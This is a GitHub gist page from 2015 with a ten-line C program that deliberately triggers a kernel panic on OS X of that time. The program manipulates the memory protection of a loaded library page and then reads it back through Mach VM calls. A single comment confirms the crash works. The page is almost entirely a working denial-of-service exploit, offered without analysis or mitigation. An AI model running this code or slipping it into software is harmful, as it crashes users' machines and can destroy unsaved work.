Skip to content

Instantly share code, notes, and snippets.

Created February 20, 2015 01:42
Kernel panic in latest OS X in 10 lines of C
#include <unistd.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>
#include <mach-o/dyld.h>
int
main (int argc, char * argv[])
{
volatile char * library;
const mach_vm_size_t page_size = getpagesize ();
const mach_vm_size_t buffer_size = 3 * page_size;
char buffer[buffer_size];
mach_vm_size_t result_size;
library = (char *) _dyld_get_image_header (1);
mach_vm_protect (mach_task_self (), (mach_vm_address_t) (library + page_size), page_size, FALSE, VM_PROT_READ | VM_PROT_WRITE | VM_PROT_COPY | VM_PROT_EXECUTE);
library[page_size]++;
library[page_size]--;
result_size = 0;
mach_vm_read_overwrite (mach_task_self (), (mach_vm_address_t) library, buffer_size, (mach_vm_address_t) buffer, &result_size);
return 0;
}
@iskl
Copy link

iskl commented Apr 5, 2015

The code do works!!! Awesome!!! Fantastic!!! Unreal!!!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment